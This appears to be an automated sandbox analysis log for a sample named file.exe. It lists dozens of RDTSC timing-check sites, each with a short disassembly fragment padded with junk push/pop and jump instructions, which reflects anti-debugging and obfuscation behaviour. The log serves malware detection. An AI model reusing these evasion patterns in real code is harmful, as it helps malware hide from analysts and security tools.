Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85709F second address: 8570A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8570A3 second address: 8570A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8570A7 second address: 8570AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85731A second address: 857337 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6C5B2713Ch 0x00000009 jmp 00007FC6C5B2713Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8063A1 second address: 8063A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8063A5 second address: 8063AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8063AF second address: 8063FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 movzx edi, dx 0x0000000b mov dword ptr [ebp+13A42900h], esi 0x00000011 mov ebx, dword ptr [ebp+13BFC4DBh] 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007FC6C5B27A18h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 00000014h 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 mov dword ptr [ebp+13A428BEh], edi 0x00000037 mov dword ptr [ebp+13BCC682h], eax 0x0000003d add eax, ebx 0x0000003f mov dx, E7DDh 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 jnc 00007FC6C5B27A18h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8063FF second address: 806405 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8575E0 second address: 8575E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8575E4 second address: 8575F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FC6C5B27136h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85777A second address: 85777E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85777E second address: 857796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6C5B2713Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 857796 second address: 85779E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85BA28 second address: 85BA38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007FC6C5B27138h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85BCFC second address: 85BD20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC6C5B27A21h 0x00000012 jns 00007FC6C5B27A16h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85BD20 second address: 85BD28 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85BD28 second address: 85BD2D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85BD2D second address: 85BD3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007FC6C5B27136h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85BD3C second address: 85BD40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864A1F second address: 864A41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC6C5B27146h 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1DD8 second address: 7C1DF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007FC6C5B27A25h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1DF5 second address: 7C1DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1DFC second address: 7C1E17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6C5B27A1Ah 0x00000009 jmp 00007FC6C5B27A1Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1E17 second address: 7C1E1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862B79 second address: 862BA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 jmp 00007FC6C5B27A23h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f je 00007FC6C5B27A16h 0x00000015 popad 0x00000016 push ecx 0x00000017 push esi 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862BA2 second address: 862BAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862F6B second address: 862F6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862F6F second address: 862F84 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC6C5B27136h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FC6C5B2713Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86327E second address: 863288 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC6C5B27A1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863288 second address: 86329A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jne 00007FC6C5B27136h 0x0000000c jno 00007FC6C5B27136h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86329A second address: 86329E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8638CE second address: 8638E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6C5B27146h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86441D second address: 86442A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867AE6 second address: 867AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867C54 second address: 867C58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868213 second address: 86822B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FC6C5B27143h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868357 second address: 86836E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC6C5B27A1Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D479 second address: 86D47D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D47D second address: 86D483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8738FD second address: 873932 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27149h 0x00000007 jmp 00007FC6C5B2713Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jnp 00007FC6C5B27136h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873932 second address: 873939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873E78 second address: 873E7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87414A second address: 874157 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 874157 second address: 874188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007FC6C5B2714Fh 0x00000010 push edi 0x00000011 jg 00007FC6C5B27136h 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873092 second address: 8730AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A28h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E246 second address: 87E24E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E24E second address: 87E25A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007FC6C5B27A16h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E25A second address: 87E25E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87DC44 second address: 87DC48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87DC48 second address: 87DC4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87DEF9 second address: 87DEFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87DEFE second address: 87DF18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC6C5B27145h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8804D2 second address: 8804D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8914A0 second address: 8914A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8914A4 second address: 8914A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8914A8 second address: 8914AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8914AE second address: 8914CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007FC6C5B27A16h 0x0000000e jmp 00007FC6C5B27A21h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8914CD second address: 8914E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B2713Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8914E0 second address: 8914EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8914EC second address: 8914F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8914F0 second address: 891501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007FC6C5B27A18h 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A26E3 second address: 8A26E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A26E7 second address: 8A26EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A26EB second address: 8A271B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a ja 00007FC6C5B27136h 0x00000010 jo 00007FC6C5B27136h 0x00000016 pop edi 0x00000017 push esi 0x00000018 jmp 00007FC6C5B27147h 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A271B second address: 8A2725 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC6C5B27A1Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8F7F second address: 8A8F85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8F85 second address: 8A8F89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8F89 second address: 8A8FA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jo 00007FC6C5B27138h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7C27 second address: 8A7C2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7C2C second address: 8A7C56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6C5B27142h 0x00000009 jmp 00007FC6C5B27144h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7DCE second address: 8A7E01 instructions: 0x00000000 rdtsc 0x00000002 js 00007FC6C5B27A16h 0x00000008 jmp 00007FC6C5B27A25h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push edx 0x00000011 pop edx 0x00000012 jmp 00007FC6C5B27A1Ch 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a push edx 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7E01 second address: 8A7E0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7E0D second address: 8A7E11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7E11 second address: 8A7E4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27149h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f pushad 0x00000010 jmp 00007FC6C5B27145h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7E4C second address: 8A7E52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A811A second address: 8A8127 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007FC6C5B2713Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A828D second address: 8A8291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8291 second address: 8A82A3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jp 00007FC6C5B27136h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AB6F9 second address: 8AB746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FC6C5B27A16h 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007FC6C5B27A28h 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop eax 0x00000014 pop edi 0x00000015 pushad 0x00000016 pushad 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 jmp 00007FC6C5B27A23h 0x0000001e jnl 00007FC6C5B27A16h 0x00000024 popad 0x00000025 push ebx 0x00000026 pushad 0x00000027 popad 0x00000028 pop ebx 0x00000029 push ecx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AD135 second address: 8AD150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jng 00007FC6C5B27136h 0x0000000e jnl 00007FC6C5B27136h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AD150 second address: 8AD158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACFB4 second address: 8ACFD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007FC6C5B27141h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACFD2 second address: 8ACFD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0547 second address: 8B054D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C07C4 second address: 8C07CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C07CB second address: 8C07D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C07D1 second address: 8C07DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 push eax 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C05DE second address: 8C0609 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC6C5B27136h 0x00000008 jmp 00007FC6C5B2713Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FC6C5B2713Fh 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C0609 second address: 8C060D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C060D second address: 8C0625 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27144h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C0625 second address: 8C0658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FC6C5B27A26h 0x0000000c jmp 00007FC6C5B27A24h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C0658 second address: 8C067A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FC6C5B27149h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C067A second address: 8C067E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C067E second address: 8C0682 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB12D second address: 8BB137 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FC6C5B27A16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB137 second address: 8BB164 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC6C5B27146h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FC6C5B2713Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB164 second address: 8BB168 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCF9B second address: 8CCFB0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC6C5B27136h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jbe 00007FC6C5B27136h 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
